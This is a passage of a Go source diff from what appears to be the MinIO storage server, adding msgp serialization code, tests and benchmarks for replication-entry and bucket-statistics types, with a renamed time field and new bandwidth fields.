+					default:
+						bts, err = msgp.Skip(bts)
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001)
+							return
+						}
+					}
+				}
+				z.Entries[za0001] = za0002
+			}
+		case "v":
+			z.Version, bts, err = msgp.ReadIntBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "Version")
+				return
+			}
+		default:
+			bts, err = msgp.Skip(bts)
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
+		}
+	}
+	o = bts
+	return
+}
+
+// Msgsize returns an upper bound estimate of the number of bytes occupied by the serialized message
+func (z *MRFReplicateEntries) Msgsize() (s int) {
+	s = 1 + 2 + msgp.MapHeaderSize
+	if z.Entries != nil {
+		for za0001, za0002 := range z.Entries {
+			_ = za0002
+			s += msgp.StringPrefixSize + len(za0001) + 1 + 2 + msgp.StringPrefixSize + len(za0002.Bucket) + 2 + msgp.StringPrefixSize + len(za0002.Object)
+		}
+	}
+	s += 2 + msgp.IntSize
+	return
+}
+
+// DecodeMsg implements msgp.Decodable
+func (z *MRFReplicateEntry) DecodeMsg(dc *msgp.Reader) (err error) {
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, err = dc.ReadMapHeader()
+	if err != nil {
+		err = msgp.WrapError(err)
+		return
+	}
+	for zb0001 > 0 {
+		zb0001--
+		field, err = dc.ReadMapKeyPtr()
+		if err != nil {
+			err = msgp.WrapError(err)
+			return
+		}
+		switch msgp.UnsafeString(field) {
+		case "b":
+			z.Bucket, err = dc.ReadString()
+			if err != nil {
+				err = msgp.WrapError(err, "Bucket")
+				return
+			}
+		case "o":
+			z.Object, err = dc.ReadString()
+			if err != nil {
+				err = msgp.WrapError(err, "Object")
+				return
+			}
+		default:
+			err = dc.Skip()
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
+		}
+	}
+	return
+}
+
+// EncodeMsg implements msgp.Encodable
+func (z MRFReplicateEntry) EncodeMsg(en *msgp.Writer) (err error) {
+	// map header, size 2
+	// write "b"
+	err = en.Append(0x82, 0xa1, 0x62)
+	if err != nil {
+		return
+	}
+	err = en.WriteString(z.Bucket)
+	if err != nil {
+		err = msgp.WrapError(err, "Bucket")
+		return
+	}
+	// write "o"
+	err = en.Append(0xa1, 0x6f)
+	if err != nil {
+		return
+	}
+	err = en.WriteString(z.Object)
+	if err != nil {
+		err = msgp.WrapError(err, "Object")
+		return
+	}
+	return
+}
+
+// MarshalMsg implements msgp.Marshaler
+func (z MRFReplicateEntry) MarshalMsg(b []byte) (o []byte, err error) {
+	o = msgp.Require(b, z.Msgsize())
+	// map header, size 2
+	// string "b"
+	o = append(o, 0x82, 0xa1, 0x62)
+	o = msgp.AppendString(o, z.Bucket)
+	// string "o"
+	o = append(o, 0xa1, 0x6f)
+	o = msgp.AppendString(o, z.Object)
+	return
+}
+
+// UnmarshalMsg implements msgp.Unmarshaler
+func (z *MRFReplicateEntry) UnmarshalMsg(bts []byte) (o []byte, err error) {
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, bts, err = msgp.ReadMapHeaderBytes(bts)
+	if err != nil {
+		err = msgp.WrapError(err)
+		return
+	}
+	for zb0001 > 0 {
+		zb0001--
+		field, bts, err = msgp.ReadMapKeyZC(bts)
+		if err != nil {
+			err = msgp.WrapError(err)
+			return
+		}
+		switch msgp.UnsafeString(field) {
+		case "b":
+			z.Bucket, bts, err = msgp.ReadStringBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "Bucket")
+				return
+			}
+		case "o":
+			z.Object, bts, err = msgp.ReadStringBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "Object")
+				return
+			}
+		default:
+			bts, err = msgp.Skip(bts)
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
+		}
+	}
+	o = bts
+	return
+}
+
+// Msgsize returns an upper bound estimate of the number of bytes occupied by the serialized message
+func (z MRFReplicateEntry) Msgsize() (s int) {
+	s = 1 + 2 + msgp.StringPrefixSize + len(z.Bucket) + 2 + msgp.StringPrefixSize + len(z.Object)
+	return
+}
+
 // DecodeMsg implements msgp.Decodable
 func (z *ReplicateDecision) DecodeMsg(dc *msgp.Reader) (err error) {
 	var field []byte
@@ -1710,10 +2117,10 @@ func (z *TargetReplicationResyncStatus) DecodeMsg(dc *msgp.Reader) (err error) {
 				err = msgp.WrapError(err, "StartTime")
 				return
 			}
-		case "et":
-			z.EndTime, err = dc.ReadTime()
+		case "lst":
+			z.LastUpdate, err = dc.ReadTime()
 			if err != nil {
-				err = msgp.WrapError(err, "EndTime")
+				err = msgp.WrapError(err, "LastUpdate")
 				return
 			}
 		case "id":
@@ -1798,14 +2205,14 @@ func (z *TargetReplicationResyncStatus) EncodeMsg(en *msgp.Writer) (err error) {
 		err = msgp.WrapError(err, "StartTime")
 		return
 	}
-	// write "et"
-	err = en.Append(0xa2, 0x65, 0x74)
+	// write "lst"
+	err = en.Append(0xa3, 0x6c, 0x73, 0x74)
 	if err != nil {
 		return
 	}
-	err = en.WriteTime(z.EndTime)
+	err = en.WriteTime(z.LastUpdate)
 	if err != nil {
-		err = msgp.WrapError(err, "EndTime")
+		err = msgp.WrapError(err, "LastUpdate")
 		return
 	}
 	// write "id"
@@ -1908,9 +2315,9 @@ func (z *TargetReplicationResyncStatus) MarshalMsg(b []byte) (o []byte, err erro
 	// string "st"
 	o = append(o, 0x8b, 0xa2, 0x73, 0x74)
 	o = msgp.AppendTime(o, z.StartTime)
-	// string "et"
-	o = append(o, 0xa2, 0x65, 0x74)
-	o = msgp.AppendTime(o, z.EndTime)
+	// string "lst"
+	o = append(o, 0xa3, 0x6c, 0x73, 0x74)
+	o = msgp.AppendTime(o, z.LastUpdate)
 	// string "id"
 	o = append(o, 0xa2, 0x69, 0x64)
 	o = msgp.AppendString(o, z.ResyncID)
@@ -1965,10 +2372,10 @@ func (z *TargetReplicationResyncStatus) UnmarshalMsg(bts []byte) (o []byte, err
 				err = msgp.WrapError(err, "StartTime")
 				return
 			}
-		case "et":
-			z.EndTime, bts, err = msgp.ReadTimeBytes(bts)
+		case "lst":
+			z.LastUpdate, bts, err = msgp.ReadTimeBytes(bts)
 			if err != nil {
-				err = msgp.WrapError(err, "EndTime")
+				err = msgp.WrapError(err, "LastUpdate")
 				return
 			}
 		case "id":
@@ -2043,7 +2450,7 @@ func (z *TargetReplicationResyncStatus) UnmarshalMsg(bts []byte) (o []byte, err

 // Msgsize returns an upper bound estimate of the number of bytes occupied by the serialized message
 func (z *TargetReplicationResyncStatus) Msgsize() (s int) {
-	s = 1 + 3 + msgp.TimeSize + 3 + msgp.TimeSize + 3 + msgp.StringPrefixSize + len(z.ResyncID) + 4 + msgp.TimeSize + 4 + msgp.IntSize + 3 + msgp.Int64Size + 4 + msgp.Int64Size + 3 + msgp.Int64Size + 4 + msgp.Int64Size + 4 + msgp.StringPrefixSize + len(z.Bucket) + 4 + msgp.StringPrefixSize + len(z.Object)
+	s = 1 + 3 + msgp.TimeSize + 4 + msgp.TimeSize + 3 + msgp.StringPrefixSize + len(z.ResyncID) + 4 + msgp.TimeSize + 4 + msgp.IntSize + 3 + msgp.Int64Size + 4 + msgp.Int64Size + 3 + msgp.Int64Size + 4 + msgp.Int64Size + 4 + msgp.StringPrefixSize + len(z.Bucket) + 4 + msgp.StringPrefixSize + len(z.Object)
 	return
 }

@@ -122,6 +122,232 @@ func BenchmarkDecodeBucketReplicationResyncStatus(b *testing.B) {
 	}
 }

+func TestMarshalUnmarshalMRFReplicateEntries(t *testing.T) {
+	v := MRFReplicateEntries{}
+	bts, err := v.MarshalMsg(nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	left, err := v.UnmarshalMsg(bts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(left) > 0 {
+		t.Errorf("%d bytes left over after UnmarshalMsg(): %q", len(left), left)
+	}
+
+	left, err = msgp.Skip(bts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(left) > 0 {
+		t.Errorf("%d bytes left over after Skip(): %q", len(left), left)
+	}
+}
+
+func BenchmarkMarshalMsgMRFReplicateEntries(b *testing.B) {
+	v := MRFReplicateEntries{}
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		v.MarshalMsg(nil)
+	}
+}
+
+func BenchmarkAppendMsgMRFReplicateEntries(b *testing.B) {
+	v := MRFReplicateEntries{}
+	bts := make([]byte, 0, v.Msgsize())
+	bts, _ = v.MarshalMsg(bts[0:0])
+	b.SetBytes(int64(len(bts)))
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		bts, _ = v.MarshalMsg(bts[0:0])
+	}
+}
+
+func BenchmarkUnmarshalMRFReplicateEntries(b *testing.B) {
+	v := MRFReplicateEntries{}
+	bts, _ := v.MarshalMsg(nil)
+	b.ReportAllocs()
+	b.SetBytes(int64(len(bts)))
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		_, err := v.UnmarshalMsg(bts)
+		if err != nil {
+			b.Fatal(err)
+		}
+	}
+}
+
+func TestEncodeDecodeMRFReplicateEntries(t *testing.T) {
+	v := MRFReplicateEntries{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+
+	m := v.Msgsize()
+	if buf.Len() > m {
+		t.Log("WARNING: TestEncodeDecodeMRFReplicateEntries Msgsize() is inaccurate")
+	}
+
+	vn := MRFReplicateEntries{}
+	err := msgp.Decode(&buf, &vn)
+	if err != nil {
+		t.Error(err)
+	}
+
+	buf.Reset()
+	msgp.Encode(&buf, &v)
+	err = msgp.NewReader(&buf).Skip()
+	if err != nil {
+		t.Error(err)
+	}
+}
+
+func BenchmarkEncodeMRFReplicateEntries(b *testing.B) {
+	v := MRFReplicateEntries{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+	b.SetBytes(int64(buf.Len()))
+	en := msgp.NewWriter(msgp.Nowhere)
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		v.EncodeMsg(en)
+	}
+	en.Flush()
+}
+
+func BenchmarkDecodeMRFReplicateEntries(b *testing.B) {
+	v := MRFReplicateEntries{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+	b.SetBytes(int64(buf.Len()))
+	rd := msgp.NewEndlessReader(buf.Bytes(), b)
+	dc := msgp.NewReader(rd)
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		err := v.DecodeMsg(dc)
+		if err != nil {
+			b.Fatal(err)
+		}
+	}
+}
+
+func TestMarshalUnmarshalMRFReplicateEntry(t *testing.T) {
+	v := MRFReplicateEntry{}
+	bts, err := v.MarshalMsg(nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	left, err := v.UnmarshalMsg(bts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(left) > 0 {
+		t.Errorf("%d bytes left over after UnmarshalMsg(): %q", len(left), left)
+	}
+
+	left, err = msgp.Skip(bts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(left) > 0 {
+		t.Errorf("%d bytes left over after Skip(): %q", len(left), left)
+	}
+}
+
+func BenchmarkMarshalMsgMRFReplicateEntry(b *testing.B) {
+	v := MRFReplicateEntry{}
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		v.MarshalMsg(nil)
+	}
+}
+
+func BenchmarkAppendMsgMRFReplicateEntry(b *testing.B) {
+	v := MRFReplicateEntry{}
+	bts := make([]byte, 0, v.Msgsize())
+	bts, _ = v.MarshalMsg(bts[0:0])
+	b.SetBytes(int64(len(bts)))
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		bts, _ = v.MarshalMsg(bts[0:0])
+	}
+}
+
+func BenchmarkUnmarshalMRFReplicateEntry(b *testing.B) {
+	v := MRFReplicateEntry{}
+	bts, _ := v.MarshalMsg(nil)
+	b.ReportAllocs()
+	b.SetBytes(int64(len(bts)))
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		_, err := v.UnmarshalMsg(bts)
+		if err != nil {
+			b.Fatal(err)
+		}
+	}
+}
+
+func TestEncodeDecodeMRFReplicateEntry(t *testing.T) {
+	v := MRFReplicateEntry{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+
+	m := v.Msgsize()
+	if buf.Len() > m {
+		t.Log("WARNING: TestEncodeDecodeMRFReplicateEntry Msgsize() is inaccurate")
+	}
+
+	vn := MRFReplicateEntry{}
+	err := msgp.Decode(&buf, &vn)
+	if err != nil {
+		t.Error(err)
+	}
+
+	buf.Reset()
+	msgp.Encode(&buf, &v)
+	err = msgp.NewReader(&buf).Skip()
+	if err != nil {
+		t.Error(err)
+	}
+}
+
+func BenchmarkEncodeMRFReplicateEntry(b *testing.B) {
+	v := MRFReplicateEntry{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+	b.SetBytes(int64(buf.Len()))
+	en := msgp.NewWriter(msgp.Nowhere)
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		v.EncodeMsg(en)
+	}
+	en.Flush()
+}
+
+func BenchmarkDecodeMRFReplicateEntry(b *testing.B) {
+	v := MRFReplicateEntry{}
+	var buf bytes.Buffer
+	msgp.Encode(&buf, &v)
+	b.SetBytes(int64(buf.Len()))
+	rd := msgp.NewEndlessReader(buf.Bytes(), b)
+	dc := msgp.NewReader(rd)
+	b.ReportAllocs()
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		err := v.DecodeMsg(dc)
+		if err != nil {
+			b.Fatal(err)
+		}
+	}
+}
+
 func TestMarshalUnmarshalReplicateDecision(t *testing.T) {
 	v := ReplicateDecision{}
 	bts, err := v.MarshalMsg(nil)
@@ -24,7 +24,7 @@ import (
 	"testing"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/bucket/replication"
 	xhttp "github.com/minio/minio/internal/http"
 )
@@ -18,6 +18,7 @@
 package cmd

 import (
+	"fmt"
 	"time"
 )

@@ -26,7 +27,7 @@ import (
 // ReplicationLatency holds information of bucket operations latency, such us uploads
 type ReplicationLatency struct {
 	// Single & Multipart PUTs latency
-	UploadHistogram LastMinuteLatencies
+	UploadHistogram LastMinuteHistogram
 }

 // Merge two replication latency into a new one
@@ -41,7 +42,7 @@ func (rl ReplicationLatency) getUploadLatency() (ret map[string]uint64) {
 	avg := rl.UploadHistogram.GetAvgData()
 	for k, v := range avg {
 		// Convert nanoseconds to milliseconds
-		ret[sizeTagToString(k)] = v.avg() / uint64(time.Millisecond)
+		ret[sizeTagToString(k)] = uint64(v.avg() / time.Millisecond)
 	}
 	return
 }
@@ -52,7 +53,10 @@ func (rl *ReplicationLatency) update(size int64, duration time.Duration) {
 }

 // BucketStatsMap captures bucket statistics for all buckets
-type BucketStatsMap map[string]BucketStats
+type BucketStatsMap struct {
+	Stats     map[string]BucketStats
+	Timestamp time.Time
+}

 // BucketStats bucket statistics
 type BucketStats struct {
@@ -62,7 +66,7 @@ type BucketStats struct {
 // BucketReplicationStats represents inline replication statistics
 // such as pending, failed and completed bytes in total for a bucket
 type BucketReplicationStats struct {
-	Stats map[string]*BucketReplicationStat
+	Stats map[string]*BucketReplicationStat `json:",omitempty"`
 	// Pending size in bytes
 	PendingSize int64 `json:"pendingReplicationSize"`
 	// Completed size in bytes
@@ -116,6 +120,10 @@ type BucketReplicationStat struct {
 	FailedCount int64 `json:"failedReplicationCount"`
 	// Replication latency information
 	Latency ReplicationLatency `json:"replicationLatency"`
+	// bandwidth limit for target
+	BandWidthLimitInBytesPerSecond int64 `json:"limitInBits"`
+	// current bandwidth reported
+	CurrentBandwidthInBytesPerSecond float64 `json:"currentBandwidth"`
 }

 func (bs *BucketReplicationStat) hasReplicationUsage() bool {
@@ -126,3 +134,11 @@ func (bs *BucketReplicationStat) hasReplicationUsage() bool {
 		bs.PendingCount > 0 ||
 		bs.PendingSize > 0
 }
+
+func (brs BucketReplicationStats) String() string {
+	s := "ReplicatedSize=" + fmt.Sprintf("%d", brs.ReplicatedSize) + "+\n ReplicaSize=" + fmt.Sprintf("%d", brs.ReplicaSize)
+	for arn, st := range brs.Stats {
+		s += "\n arn: " + arn + " ReplicatedSize=" + fmt.Sprintf("%d", st.ReplicatedSize) + "  +::ReplicaSize=" + fmt.Sprintf("%d", st.ReplicaSize)
+	}
+	return s
+}
@@ -89,6 +89,18 @@ func (z *BucketReplicationStat) DecodeMsg(dc *msgp.Reader) (err error) {
 					}
 				}
 			}
+		case "BandWidthLimitInBytesPerSecond":
+			z.BandWidthLimitInBytesPerSecond, err = dc.ReadInt64()
+			if err != nil {
+				err = msgp.WrapError(err, "BandWidthLimitInBytesPerSecond")
+				return
+			}
+		case "CurrentBandwidthInBytesPerSecond":
+			z.CurrentBandwidthInBytesPerSecond, err = dc.ReadFloat64()
+			if err != nil {
+				err = msgp.WrapError(err, "CurrentBandwidthInBytesPerSecond")
+				return
+			}
 		default:
 			err = dc.Skip()
 			if err != nil {
@@ -102,9 +114,9 @@ func (z *BucketReplicationStat) DecodeMsg(dc *msgp.Reader) (err error) {

 // EncodeMsg implements msgp.Encodable
 func (z *BucketReplicationStat) EncodeMsg(en *msgp.Writer) (err error) {
-	// map header, size 7
+	// map header, size 9
 	// write "PendingSize"
-	err = en.Append(0x87, 0xab, 0x50, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x7a, 0x65)
+	err = en.Append(0x89, 0xab, 0x50, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x7a, 0x65)
 	if err != nil {
 		return
 	}
@@ -179,15 +191,35 @@ func (z *BucketReplicationStat) EncodeMsg(en *msgp.Writer) (err error) {
 		err = msgp.WrapError(err, "Latency", "UploadHistogram")
 		return
 	}
+	// write "BandWidthLimitInBytesPerSecond"
+	err = en.Append(0xbe, 0x42, 0x61, 0x6e, 0x64, 0x57, 0x69, 0x64, 0x74, 0x68, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x49, 0x6e, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x65, 0x72, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64)
+	if err != nil {
+		return
+	}
+	err = en.WriteInt64(z.BandWidthLimitInBytesPerSecond)
+	if err != nil {
+		err = msgp.WrapError(err, "BandWidthLimitInBytesPerSecond")
+		return
+	}
+	// write "CurrentBandwidthInBytesPerSecond"
+	err = en.Append(0xd9, 0x20, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x42, 0x61, 0x6e, 0x64, 0x77, 0x69, 0x64, 0x74, 0x68, 0x49, 0x6e, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x65, 0x72, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64)
+	if err != nil {
+		return
+	}
+	err = en.WriteFloat64(z.CurrentBandwidthInBytesPerSecond)
+	if err != nil {
+		err = msgp.WrapError(err, "CurrentBandwidthInBytesPerSecond")
+		return
+	}
 	return
 }

 // MarshalMsg implements msgp.Marshaler
 func (z *BucketReplicationStat) MarshalMsg(b []byte) (o []byte, err error) {
 	o = msgp.Require(b, z.Msgsize())
-	// map header, size 7
+	// map header, size 9
 	// string "PendingSize"
-	o = append(o, 0x87, 0xab, 0x50, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x7a, 0x65)
+	o = append(o, 0x89, 0xab, 0x50, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x7a, 0x65)
 	o = msgp.AppendInt64(o, z.PendingSize)
 	// string "ReplicatedSize"
 	o = append(o, 0xae, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65)
@@ -214,6 +246,12 @@ func (z *BucketReplicationStat) MarshalMsg(b []byte) (o []byte, err error) {
 		err = msgp.WrapError(err, "Latency", "UploadHistogram")
 		return
 	}
+	// string "BandWidthLimitInBytesPerSecond"
+	o = append(o, 0xbe, 0x42, 0x61, 0x6e, 0x64, 0x57, 0x69, 0x64, 0x74, 0x68, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x49, 0x6e, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x65, 0x72, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64)
+	o = msgp.AppendInt64(o, z.BandWidthLimitInBytesPerSecond)
+	// string "CurrentBandwidthInBytesPerSecond"
+	o = append(o, 0xd9, 0x20, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x42, 0x61, 0x6e, 0x64, 0x77, 0x69, 0x64, 0x74, 0x68, 0x49, 0x6e, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x65, 0x72, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64)
+	o = msgp.AppendFloat64(o, z.CurrentBandwidthInBytesPerSecond)
 	return
 }

@@ -300,6 +338,18 @@ func (z *BucketReplicationStat) UnmarshalMsg(bts []byte) (o []byte, err error) {
 					}
 				}
 			}
+		case "BandWidthLimitInBytesPerSecond":
+			z.BandWidthLimitInBytesPerSecond, bts, err = msgp.ReadInt64Bytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "BandWidthLimitInBytesPerSecond")
+				return
+			}
+		case "CurrentBandwidthInBytesPerSecond":
+			z.CurrentBandwidthInBytesPerSecond, bts, err = msgp.ReadFloat64Bytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "CurrentBandwidthInBytesPerSecond")
+				return
+			}
 		default:
 			bts, err = msgp.Skip(bts)
 			if err != nil {
@@ -314,7 +364,7 @@ func (z *BucketReplicationStat) UnmarshalMsg(bts []byte) (o []byte, err error) {

 // Msgsize returns an upper bound estimate of the number of bytes occupied by the serialized message
 func (z *BucketReplicationStat) Msgsize() (s int) {
-	s = 1 + 12 + msgp.Int64Size + 15 + msgp.Int64Size + 12 + msgp.Int64Size + 11 + msgp.Int64Size + 13 + msgp.Int64Size + 12 + msgp.Int64Size + 8 + 1 + 16 + z.Latency.UploadHistogram.Msgsize()
+	s = 1 + 12 + msgp.Int64Size + 15 + msgp.Int64Size + 12 + msgp.Int64Size + 11 + msgp.Int64Size + 13 + msgp.Int64Size + 12 + msgp.Int64Size + 8 + 1 + 16 + z.Latency.UploadHistogram.Msgsize() + 31 + msgp.Int64Size + 34 + msgp.Float64Size
 	return
 }

@@ -794,74 +844,109 @@ func (z *BucketStats) Msgsize() (s int) {

 // DecodeMsg implements msgp.Decodable
 func (z *BucketStatsMap) DecodeMsg(dc *msgp.Reader) (err error) {
-	var zb0003 uint32
-	zb0003, err = dc.ReadMapHeader()
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, err = dc.ReadMapHeader()
 	if err != nil {
 		err = msgp.WrapError(err)
 		return
 	}
-	if (*z) == nil {
-		(*z) = make(BucketStatsMap, zb0003)
-	} else if len((*z)) > 0 {
-		for key := range *z {
-			delete((*z), key)
-		}
-	}
-	for zb0003 > 0 {
-		zb0003--
-		var zb0001 string
-		var zb0002 BucketStats
-		zb0001, err = dc.ReadString()
+	for zb0001 > 0 {
+		zb0001--
+		field, err = dc.ReadMapKeyPtr()
 		if err != nil {
 			err = msgp.WrapError(err)
 			return
 		}
-		var field []byte
-		_ = field
-		var zb0004 uint32
-		zb0004, err = dc.ReadMapHeader()
-		if err != nil {
-			err = msgp.WrapError(err, zb0001)
-			return
-		}
-		for zb0004 > 0 {
-			zb0004--
-			field, err = dc.ReadMapKeyPtr()
+		switch msgp.UnsafeString(field) {
+		case "Stats":
+			var zb0002 uint32
+			zb0002, err = dc.ReadMapHeader()
 			if err != nil {
-				err = msgp.WrapError(err, zb0001)
+				err = msgp.WrapError(err, "Stats")
 				return
 			}
-			switch msgp.UnsafeString(field) {
-			case "ReplicationStats":
-				err = zb0002.ReplicationStats.DecodeMsg(dc)
-				if err != nil {
-					err = msgp.WrapError(err, zb0001, "ReplicationStats")
-					return
-				}
-			default:
-				err = dc.Skip()
-				if err != nil {
-					err = msgp.WrapError(err, zb0001)
-					return
+			if z.Stats == nil {
+				z.Stats = make(map[string]BucketStats, zb0002)
+			} else if len(z.Stats) > 0 {
+				for key := range z.Stats {
+					delete(z.Stats, key)
 				}
 			}
+			for zb0002 > 0 {
+				zb0002--
+				var za0001 string
+				var za0002 BucketStats
+				za0001, err = dc.ReadString()
+				if err != nil {
+					err = msgp.WrapError(err, "Stats")
+					return
+				}
+				var zb0003 uint32
+				zb0003, err = dc.ReadMapHeader()
+				if err != nil {
+					err = msgp.WrapError(err, "Stats", za0001)
+					return
+				}
+				for zb0003 > 0 {
+					zb0003--
+					field, err = dc.ReadMapKeyPtr()
+					if err != nil {
+						err = msgp.WrapError(err, "Stats", za0001)
+						return
+					}
+					switch msgp.UnsafeString(field) {
+					case "ReplicationStats":
+						err = za0002.ReplicationStats.DecodeMsg(dc)
+						if err != nil {
+							err = msgp.WrapError(err, "Stats", za0001, "ReplicationStats")
+							return
+						}
+					default:
+						err = dc.Skip()
+						if err != nil {
+							err = msgp.WrapError(err, "Stats", za0001)
+							return
+						}
+					}
+				}
+				z.Stats[za0001] = za0002
+			}
+		case "Timestamp":
+			z.Timestamp, err = dc.ReadTime()
+			if err != nil {
+				err = msgp.WrapError(err, "Timestamp")
+				return
+			}
+		default:
+			err = dc.Skip()
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
 		}
-		(*z)[zb0001] = zb0002
 	}
 	return
 }

 // EncodeMsg implements msgp.Encodable
-func (z BucketStatsMap) EncodeMsg(en *msgp.Writer) (err error) {
-	err = en.WriteMapHeader(uint32(len(z)))
+func (z *BucketStatsMap) EncodeMsg(en *msgp.Writer) (err error) {
+	// map header, size 2
+	// write "Stats"
+	err = en.Append(0x82, 0xa5, 0x53, 0x74, 0x61, 0x74, 0x73)
 	if err != nil {
-		err = msgp.WrapError(err)
 		return
 	}
-	for zb0005, zb0006 := range z {
-		err = en.WriteString(zb0005)
+	err = en.WriteMapHeader(uint32(len(z.Stats)))
+	if err != nil {
+		err = msgp.WrapError(err, "Stats")
+		return
+	}
+	for za0001, za0002 := range z.Stats {
+		err = en.WriteString(za0001)
 		if err != nil {
-			err = msgp.WrapError(err)
+			err = msgp.WrapError(err, "Stats")
 			return
 		}
 		// map header, size 1
@@ -870,102 +955,148 @@ func (z BucketStatsMap) EncodeMsg(en *msgp.Writer) (err error) {
 		if err != nil {
 			return
 		}
-		err = zb0006.ReplicationStats.EncodeMsg(en)
+		err = za0002.ReplicationStats.EncodeMsg(en)
 		if err != nil {
-			err = msgp.WrapError(err, zb0005, "ReplicationStats")
+			err = msgp.WrapError(err, "Stats", za0001, "ReplicationStats")
 			return
 		}
 	}
+	// write "Timestamp"
+	err = en.Append(0xa9, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70)
+	if err != nil {
+		return
+	}
+	err = en.WriteTime(z.Timestamp)
+	if err != nil {
+		err = msgp.WrapError(err, "Timestamp")
+		return
+	}
 	return
 }

 // MarshalMsg implements msgp.Marshaler
-func (z BucketStatsMap) MarshalMsg(b []byte) (o []byte, err error) {
+func (z *BucketStatsMap) MarshalMsg(b []byte) (o []byte, err error) {
 	o = msgp.Require(b, z.Msgsize())
-	o = msgp.AppendMapHeader(o, uint32(len(z)))
-	for zb0005, zb0006 := range z {
-		o = msgp.AppendString(o, zb0005)
+	// map header, size 2
+	// string "Stats"
+	o = append(o, 0x82, 0xa5, 0x53, 0x74, 0x61, 0x74, 0x73)
+	o = msgp.AppendMapHeader(o, uint32(len(z.Stats)))
+	for za0001, za0002 := range z.Stats {
+		o = msgp.AppendString(o, za0001)
 		// map header, size 1
 		// string "ReplicationStats"
 		o = append(o, 0x81, 0xb0, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x73)
-		o, err = zb0006.ReplicationStats.MarshalMsg(o)
+		o, err = za0002.ReplicationStats.MarshalMsg(o)
 		if err != nil {
-			err = msgp.WrapError(err, zb0005, "ReplicationStats")
+			err = msgp.WrapError(err, "Stats", za0001, "ReplicationStats")
 			return
 		}
 	}
+	// string "Timestamp"
+	o = append(o, 0xa9, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70)
+	o = msgp.AppendTime(o, z.Timestamp)
 	return
 }

 // UnmarshalMsg implements msgp.Unmarshaler
 func (z *BucketStatsMap) UnmarshalMsg(bts []byte) (o []byte, err error) {
-	var zb0003 uint32
-	zb0003, bts, err = msgp.ReadMapHeaderBytes(bts)
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, bts, err = msgp.ReadMapHeaderBytes(bts)
 	if err != nil {
 		err = msgp.WrapError(err)
 		return
 	}
-	if (*z) == nil {
-		(*z) = make(BucketStatsMap, zb0003)
-	} else if len((*z)) > 0 {
-		for key := range *z {
-			delete((*z), key)
-		}
-	}
-	for zb0003 > 0 {
-		var zb0001 string
-		var zb0002 BucketStats
-		zb0003--
-		zb0001, bts, err = msgp.ReadStringBytes(bts)
+	for zb0001 > 0 {
+		zb0001--
+		field, bts, err = msgp.ReadMapKeyZC(bts)
 		if err != nil {
 			err = msgp.WrapError(err)
 			return
 		}
-		var field []byte
-		_ = field
-		var zb0004 uint32
-		zb0004, bts, err = msgp.ReadMapHeaderBytes(bts)
-		if err != nil {
-			err = msgp.WrapError(err, zb0001)
-			return
-		}
-		for zb0004 > 0 {
-			zb0004--
